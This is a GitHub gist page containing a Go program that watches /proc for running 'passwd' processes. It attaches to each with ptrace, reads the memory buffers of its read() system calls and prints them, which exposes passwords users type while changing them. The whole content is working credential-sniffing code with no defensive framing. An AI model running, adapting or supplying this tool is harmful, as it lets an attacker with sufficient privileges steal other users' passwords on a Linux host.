Skip to content

Instantly share code, notes, and snippets.

@nguyentruongtho
Last active April 1, 2025 08:27
Show Gist options
  • Save nguyentruongtho/b11f462964b5315b096636a751e7989b to your computer and use it in GitHub Desktop.
Save nguyentruongtho/b11f462964b5315b096636a751e7989b to your computer and use it in GitHub Desktop.
package main
import (
"fmt"
"log"
"os"
"path/filepath"
"strconv"
"strings"
"syscall"
"time"
)
// Track processes already traced
var tracedPIDs = make(map[int]bool)
// Find all PIDs of "passwd" processes
func findPasswdPIDs() ([]int, error) {
var pids []int
procPath := "/proc/"
// Read the /proc directory
entries, err := os.ReadDir(procPath)
if err != nil {
return nil, err
}
for _, entry := range entries {
if !entry.IsDir() {
continue
}
// Convert directory name (PID) to an integer
pid, err := strconv.Atoi(entry.Name())
if err != nil {
continue // Ignore non-numeric entries
}
// Read process name from /proc/PID/comm
commPath := filepath.Join(procPath, entry.Name(), "comm")
commData, err := os.ReadFile(commPath)
if err != nil {
continue
}
// Check if the process name is "passwd"
if strings.TrimSpace(string(commData)) == "passwd" {
pids = append(pids, pid)
}
}
return pids, nil
}
// Attach to a process and trace its read() calls
func tracePID(pid int) {
fmt.Printf("Attaching to passwd process %d\n", pid)
err := syscall.PtraceAttach(pid)
if err != nil {
log.Printf("Failed to attach to PID %d: %v\n", pid, err)
return
}
defer syscall.PtraceDetach(pid)
var regs syscall.PtraceRegs
for {
var status syscall.WaitStatus
_, err := syscall.Wait4(pid, &status, 0, nil)
if err != nil {
log.Printf("Wait failed for PID %d: %v\n", pid, err)
break
}
if status.Exited() || status.Signaled() {
fmt.Printf("Process %d exited.\n", pid)
delete(tracedPIDs, pid)
break
}
err = syscall.PtraceGetRegs(pid, &regs)
if err != nil {
log.Printf("PtraceGetRegs failed for PID %d: %v\n", pid, err)
break
}
if regs.Orig_rax == syscall.SYS_READ {
fd := regs.Rdi
bufAddr := regs.Rsi
bufSize := regs.Rdx
data := make([]byte, bufSize)
_, err := syscall.PtracePeekData(pid, uintptr(bufAddr), data)
if err == nil {
fmt.Printf("PID %d read from FD %d: %s\n", pid, fd, strings.Trim(string(data), "\x00"))
}
}
err = syscall.PtraceSyscall(pid, 0)
if err != nil {
log.Printf("PtraceSyscall failed for PID %d: %v\n", pid, err)
break
}
}
fmt.Printf("Detached from PID %d\n", pid)
delete(tracedPIDs, pid)
}
// Main loop: continuously find and attach to new "passwd" processes
func main() {
fmt.Println("Monitoring for passwd processes...")
for {
pids, err := findPasswdPIDs()
if err != nil {
log.Println("Error finding passwd PIDs:", err)
}
for _, pid := range pids {
if !tracedPIDs[pid] {
tracedPIDs[pid] = true
go tracePID(pid) // Run tracing in a separate goroutine
}
}
time.Sleep(1 * time.Second) // Poll every second
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment